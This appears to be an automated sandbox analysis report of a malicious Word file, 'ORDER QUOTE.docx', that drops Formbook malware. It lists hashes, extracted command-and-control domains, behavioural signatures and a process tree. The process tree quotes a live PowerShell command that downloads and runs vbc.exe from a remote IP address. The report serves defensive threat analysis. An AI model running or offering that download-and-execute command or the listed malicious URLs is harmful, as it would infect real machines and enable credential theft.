Analysis
-
max time kernel
153s -
max time network
170s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 20:05
Static task
static1
Behavioral task
behavioral1
Sample
ORDER QUOTE.docx
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORDER QUOTE.docx
Resource
win10-en-20210920
General
-
Target
ORDER QUOTE.docx
-
Size
10KB
-
MD5
eee70c12ab889fd6173de81fbc9a6817
-
SHA1
673a841da220e5ba72e5f30d1d566569595ed352
-
SHA256
7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
-
SHA512
7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7
Malware Config
Extracted
http://198.46.199.161/joo/vbc.exe
Extracted
formbook
4.1
m8g0
http://www.psicologarenatacruz.com/m8g0/
trypapaya.pro
instructorcornernet.com
techadvisorsfl.com
raunnan.com
filestune.com
learnitanywhereskills.com
beaullife.com
getcovidwear.com
tkrbeautyinstitut.com
lisaphamkhai.com
iconicdds.com
ksoopawlas.com
testosteron.store
jctaketwo.com
awexz.online
onlinening.com
steelwerkschicago.com
lukakordic.com
expertsofcoaching.com
dashcca.com
xn--demiatdirecto-1ib.com
yuhongicm.com
portlandsiege.com
academysta.com
blackwiremedia.com
kent-ro-service.com
awmarkets.com
speleatherware.com
rehabcenters.space
jioscircle.com
sinijitu.com
analyticsyoda.com
shlqjt.com
bikramyogamarietta.com
crowncasino9.com
smokin-balls.com
shirasu-clinic.com
856379912.xyz
ckatesting.club
dideqsa.com
goodreporters.com
bromosyon.com
ilkonceyayincilik.com
domennyarendi32.net
thegrowthinn.com
qsgasia.com
venolbolivia.com
myhalloweengift.com
deeparchivesport.com
stiltedstories.com
btcdonation.info
little-darling.com
maximumpotentialfitness.net
iading.com
datingwithgusto.com
abncustompainting.com
cropadvisorjobs.com
nanoring.info
best-practice-gastro.com
sellitech.net
mixonsolutions.com
throughthelineagency.com
gtat.pro
relicstudios.net
Signatures
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1544-126-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1544-127-0x000000000041F1B0-mapping.dmp formbook behavioral1/memory/1596-135-0x0000000000080000-0x00000000000AF000-memory.dmp formbook -
Blocklisted process makes network request 2 IoCs
Processes:
EQNEDT32.EXEpowershell.exeflow pid process 13 824 EQNEDT32.EXE 14 1604 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
regasm.exevbc.exevbc.exepid process 648 regasm.exe 1684 vbc.exe 1544 vbc.exe -
Abuses OpenXML format to download file from external location 2 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key opened \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy WINWORD.EXE -
Loads dropped DLL 4 IoCs
Processes:
EQNEDT32.EXEpowershell.exevbc.exepid process 824 EQNEDT32.EXE 824 EQNEDT32.EXE 1588 powershell.exe 1684 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
vbc.exevbc.exechkdsk.exedescription pid process target process PID 1684 set thread context of 1544 1684 vbc.exe vbc.exe PID 1544 set thread context of 1208 1544 vbc.exe Explorer.EXE PID 1596 set thread context of 1208 1596 chkdsk.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
chkdsk.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier chkdsk.exe -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1804 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
powershell.exepowershell.exevbc.exechkdsk.exepid process 1604 powershell.exe 1604 powershell.exe 1588 powershell.exe 1588 powershell.exe 1544 vbc.exe 1544 vbc.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe 1596 chkdsk.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
vbc.exechkdsk.exepid process 1544 vbc.exe 1544 vbc.exe 1544 vbc.exe 1596 chkdsk.exe 1596 chkdsk.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exevbc.exechkdsk.exeExplorer.EXEWINWORD.EXEdescription pid process Token: SeDebugPrivilege 1604 powershell.exe Token: SeDebugPrivilege 1588 powershell.exe Token: SeDebugPrivilege 1544 vbc.exe Token: SeDebugPrivilege 1596 chkdsk.exe Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1804 WINWORD.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1804 WINWORD.EXE 1804 WINWORD.EXE -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXEchkdsk.exedescription pid process target process PID 824 wrote to memory of 648 824 EQNEDT32.EXE regasm.exe PID 824 wrote to memory of 648 824 EQNEDT32.EXE regasm.exe PID 824 wrote to memory of 648 824 EQNEDT32.EXE regasm.exe PID 824 wrote to memory of 648 824 EQNEDT32.EXE regasm.exe PID 1804 wrote to memory of 856 1804 WINWORD.EXE splwow64.exe PID 1804 wrote to memory of 856 1804 WINWORD.EXE splwow64.exe PID 1804 wrote to memory of 856 1804 WINWORD.EXE splwow64.exe PID 1804 wrote to memory of 856 1804 WINWORD.EXE splwow64.exe PID 648 wrote to memory of 744 648 regasm.exe cmd.exe PID 648 wrote to memory of 744 648 regasm.exe cmd.exe PID 648 wrote to memory of 744 648 regasm.exe cmd.exe PID 648 wrote to memory of 744 648 regasm.exe cmd.exe PID 744 wrote to memory of 1604 744 cmd.exe powershell.exe PID 744 wrote to memory of 1604 744 cmd.exe powershell.exe PID 744 wrote to memory of 1604 744 cmd.exe powershell.exe PID 744 wrote to memory of 1604 744 cmd.exe powershell.exe PID 744 wrote to memory of 1588 744 cmd.exe powershell.exe PID 744 wrote to memory of 1588 744 cmd.exe powershell.exe PID 744 wrote to memory of 1588 744 cmd.exe powershell.exe PID 744 wrote to memory of 1588 744 cmd.exe powershell.exe PID 1588 wrote to memory of 1684 1588 powershell.exe vbc.exe PID 1588 wrote to memory of 1684 1588 powershell.exe vbc.exe PID 1588 wrote to memory of 1684 1588 powershell.exe vbc.exe PID 1588 wrote to memory of 1684 1588 powershell.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1684 wrote to memory of 1544 1684 vbc.exe vbc.exe PID 1208 wrote to memory of 1596 1208 Explorer.EXE chkdsk.exe PID 1208 wrote to memory of 1596 1208 Explorer.EXE chkdsk.exe PID 1208 wrote to memory of 1596 1208 Explorer.EXE chkdsk.exe PID 1208 wrote to memory of 1596 1208 Explorer.EXE chkdsk.exe PID 1596 wrote to memory of 1308 1596 chkdsk.exe cmd.exe PID 1596 wrote to memory of 1308 1596 chkdsk.exe cmd.exe PID 1596 wrote to memory of 1308 1596 chkdsk.exe cmd.exe PID 1596 wrote to memory of 1308 1596 chkdsk.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\chkdsk.exe"C:\Windows\SysWOW64\chkdsk.exe"2⤵
- Suspicious use of SetThreadContext
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\regasm.exe"C:\Users\Public\regasm.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afccMD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432bMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6MD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
957f25144e871d993161e4a47d908f82
SHA15243131e6c7eb5253db8483cbb4ae1c586c241ea
SHA2562b2289c3e8edb9de95047fb3960735bbffa94deaccf55227a38564742513510b
SHA512cffbca15a078998582f28c3d20e2e162ce4eef6dd9e0152b5b2b0e9359e79ee652ce6431b50b5e19ca457ee08f53a23b04566f2726c63ebdd2669a49d73d06a7
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
8fba4f42e8f87518d9ad8cc60f1e3375
SHA13bda0253cf18ea8a6f15f637cf46735c96b9db4c
SHA25657f6efd42d802cc7ae2b1fa8e633c40190758b42980b1451e569a34ac8c373fb
SHA512f6ce2c03a0f587e8596cef327c92a31b509b1f7facce307bff1677a270e349efc1a40dac2b15ab21d37bb66c984c2f12887d43009f560131b7da4210d3df613a
-
C:\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
memory/648-67-0x0000000000000000-mapping.dmp
-
memory/744-71-0x0000000000000000-mapping.dmp
-
memory/856-70-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmpFilesize
8KB
-
memory/856-69-0x0000000000000000-mapping.dmp
-
memory/1208-131-0x0000000004D70000-0x0000000004E30000-memory.dmpFilesize
768KB
-
memory/1208-141-0x000007FE7D3B0000-0x000007FE7D3BA000-memory.dmpFilesize
40KB
-
memory/1208-140-0x000007FEF5780000-0x000007FEF58C3000-memory.dmpFilesize
1.3MB
-
memory/1208-139-0x0000000006C20000-0x0000000006D44000-memory.dmpFilesize
1.1MB
-
memory/1308-133-0x0000000000000000-mapping.dmp
-
memory/1544-129-0x0000000000BE0000-0x0000000000EE3000-memory.dmpFilesize
3.0MB
-
memory/1544-127-0x000000000041F1B0-mapping.dmp
-
memory/1544-126-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1544-130-0x0000000000260000-0x0000000000275000-memory.dmpFilesize
84KB
-
memory/1588-98-0x0000000000000000-mapping.dmp
-
memory/1588-105-0x0000000004880000-0x0000000004881000-memory.dmpFilesize
4KB
-
memory/1588-106-0x0000000004882000-0x0000000004883000-memory.dmpFilesize
4KB
-
memory/1588-104-0x0000000005300000-0x0000000005301000-memory.dmpFilesize
4KB
-
memory/1588-103-0x00000000026C0000-0x00000000026C1000-memory.dmpFilesize
4KB
-
memory/1588-102-0x00000000048C0000-0x00000000048C1000-memory.dmpFilesize
4KB
-
memory/1588-114-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/1588-101-0x0000000000AB0000-0x0000000000AB1000-memory.dmpFilesize
4KB
-
memory/1596-134-0x00000000002A0000-0x00000000002A7000-memory.dmpFilesize
28KB
-
memory/1596-135-0x0000000000080000-0x00000000000AF000-memory.dmpFilesize
188KB
-
memory/1596-136-0x0000000002000000-0x0000000002303000-memory.dmpFilesize
3.0MB
-
memory/1596-137-0x0000000001F10000-0x0000000001FA4000-memory.dmpFilesize
592KB
-
memory/1596-132-0x0000000000000000-mapping.dmp
-
memory/1604-78-0x0000000004690000-0x0000000004691000-memory.dmpFilesize
4KB
-
memory/1604-76-0x00000000049A0000-0x00000000049A1000-memory.dmpFilesize
4KB
-
memory/1604-72-0x0000000000000000-mapping.dmp
-
memory/1604-74-0x0000000002230000-0x0000000002231000-memory.dmpFilesize
4KB
-
memory/1604-75-0x00000000049E0000-0x00000000049E1000-memory.dmpFilesize
4KB
-
memory/1604-77-0x00000000049A2000-0x00000000049A3000-memory.dmpFilesize
4KB
-
memory/1604-79-0x0000000004950000-0x0000000004951000-memory.dmpFilesize
4KB
-
memory/1604-97-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1604-96-0x00000000061F0000-0x00000000061F1000-memory.dmpFilesize
4KB
-
memory/1604-89-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
-
memory/1604-88-0x0000000006040000-0x0000000006041000-memory.dmpFilesize
4KB
-
memory/1604-87-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1604-82-0x0000000005FD0000-0x0000000005FD1000-memory.dmpFilesize
4KB
-
memory/1684-124-0x0000000000AC0000-0x0000000000AF2000-memory.dmpFilesize
200KB
-
memory/1684-123-0x0000000005480000-0x00000000054E1000-memory.dmpFilesize
388KB
-
memory/1684-117-0x0000000000000000-mapping.dmp
-
memory/1684-122-0x0000000004DC0000-0x0000000004DC1000-memory.dmpFilesize
4KB
-
memory/1684-121-0x0000000000400000-0x000000000041D000-memory.dmpFilesize
116KB
-
memory/1684-119-0x0000000000B50000-0x0000000000B51000-memory.dmpFilesize
4KB
-
memory/1804-60-0x00000000729D1000-0x00000000729D4000-memory.dmpFilesize
12KB
-
memory/1804-138-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1804-63-0x0000000076641000-0x0000000076643000-memory.dmpFilesize
8KB
-
memory/1804-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1804-61-0x0000000070451000-0x0000000070453000-memory.dmpFilesize
8KB